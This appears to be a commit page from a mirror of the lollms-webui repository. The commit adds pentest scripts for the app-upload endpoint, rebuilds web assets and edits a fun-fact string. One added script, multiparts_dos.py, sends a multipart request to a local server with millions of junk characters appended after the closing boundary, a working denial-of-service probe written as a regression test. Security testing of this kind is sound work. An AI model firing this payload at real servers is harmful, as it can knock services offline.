ExternalVendorCode/lollms-webui
1
0
Fork 0
mirror of https://github.com/ParisNeo/lollms-webui.git synced 2024-12-18 20:17:50 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

added tests for dos attack and fixed a minor error in fun facts

Browse Source
This commit is contained in:
Saifeddine ALOUI 2024-11-12 22:28:49 +01:00
parent 5c319a60a0
commit 4ab1ab4161
8 changed files with 87 additions and 7 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
lollms_core

@ -1 +1 @@
Subproject commit 9942d177a1b4c8c424d6dcb89cdb1a6ff6fa99d4 Subproject commit 6b0675d5fedbb11c6c7dce393601104176745c99

21
tests/pentests/multipart_dos/multiparts_dos.py Normal file
View File

@ -0,0 +1,21 @@
import requests
num = 5000000
url = "http://localhost:9600/upload_app"
headers = {
"Content-Type": "multipart/form-data; boundary=---------------------------284178091740602105783377960069"
}
# The exact raw payload as specified
data = (
"-----------------------------284178091740602105783377960069\r\n"
"Content-Disposition: form-data; name=\"uploadFile\"; filename=\"test.txt\"\r\n"
"Content-Type: text/plain\r\n\r\n"
"Hello I am test\r\n"
"-----------------------------284178091740602105783377960069--" + '4' * num + "\r\n"
)
response = requests.post(url, headers=headers, data=data.encode('utf-8'), verify=False)
print(response.status_code)
print(response.text)

58
tests/pentests/multipart_dos/test_no_dos.py Normal file
View File

@ -0,0 +1,58 @@
import requests
from requests_toolbelt import MultipartEncoder
import io
import zipfile
def test_valid_file_upload():
base_url = "http://localhost:9600/upload_app"
client_id = "3qxKnpFF8aJU8KsZAAAH" # Replace with a valid client id
url = f"{base_url}?client_id={client_id}" # Add client_id as a query parameter
# Create a test zip file in memory
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zipf:
zipf.writestr('index.html', '<html><body>Test</body></html>')
zipf.writestr('description.yaml', 'name: TestApp\n')
zipf.writestr('icon.png', b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\nIDATx\x9cc\x00\x01\x00\x00\x05\x00\x01\r\n-\xb4\x00\x00\x00\x00IEND\xaeB`\x82')
zip_buffer.seek(0)
try:
# Prepare the multipart/form-data request
m = MultipartEncoder(
fields={'file': ('test_upload.zip', zip_buffer, 'application/zip')}
)
headers = {
'Content-Type': m.content_type
}
# Send the POST request
response = requests.post(url, data=m, headers=headers)
# Check the response
print(f"Status Code: {response.status_code}")
print(f"Response Content: {response.text}")
# If it's a 422 error, try to parse and print the JSON error message
if response.status_code == 422:
try:
error_detail = response.json()
print("Error details:")
print(error_detail)
except:
print("Could not parse error details as JSON")
# Assert the expected behavior
assert response.status_code == 200, f"Expected status code 200, but got {response.status_code}"
assert "App 'TestApp' uploaded successfully" in response.text, "File upload confirmation message not found in response"
print("Test passed successfully!")
except requests.RequestException as e:
print(f"Request failed: {e}")
except AssertionError as e:
print(f"Test failed: {e}")
if __name__ == "__main__":
test_valid_file_upload()

1
tests/pentests/multipart_dos/test_upload.txt Normal file
View File

@ -0,0 +1 @@
This is a test file for uploading.

2
web/dist/assets/index-2uT-uEUG.css → web/dist/assets/index-DjsrdSea.css vendored
View File

File diff suppressed because one or more lines are too long

4
web/dist/assets/index-8JJiThtX.js → web/dist/assets/index-DszaGEWB.js vendored
View File

File diff suppressed because one or more lines are too long

4
web/dist/index.html vendored
View File

@ -6,8 +6,8 @@
<script src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-svg.js"></script> <script src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-svg.js"></script>
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>LoLLMS WebUI</title> <title>LoLLMS WebUI</title>
<script type="module" crossorigin src="/assets/index-8JJiThtX.js"></script> <script type="module" crossorigin src="/assets/index-DszaGEWB.js"></script>
<link rel="stylesheet" crossorigin href="/assets/index-2uT-uEUG.css"> <link rel="stylesheet" crossorigin href="/assets/index-DjsrdSea.css">
</head> </head>
<body> <body>
<div id="app"></div> <div id="app"></div>

2
web/src/views/DiscussionsView.vue
View File

@ -1292,7 +1292,7 @@ export default {
"The system's multimodel capabilities allow it to analyze medical images, architectural blueprints, and technical diagrams.", "The system's multimodel capabilities allow it to analyze medical images, architectural blueprints, and technical diagrams.",
"LoLLMs includes a unique feature called 'personality system' that allows it to adapt its communication style and expertise.", "LoLLMs includes a unique feature called 'personality system' that allows it to adapt its communication style and expertise.",
"Did you know? LoLLMs can process and generate music notation using ABC notation or LilyPond formats.", "Did you know? LoLLMs can process and generate music notation using ABC notation or LilyPond formats.",
"LoLLMs supports over 40 different AI models, making it one of the most versatile open-source AI platforms.", "LoLLMs supports over 2000 different AI models, making it one of the most versatile open-source AI platforms.",
"The system can generate realistic 3D scenes descriptions that can be rendered using tools like Blender.", "The system can generate realistic 3D scenes descriptions that can be rendered using tools like Blender.",
"LoLLMs features a unique 'model fusion' capability, combining strengths of different AI models for better results.", "LoLLMs features a unique 'model fusion' capability, combining strengths of different AI models for better results.",
"The platform includes specialized modules for scientific computing, allowing it to solve complex mathematical problems.", "The platform includes specialized modules for scientific computing, allowing it to solve complex mathematical problems.",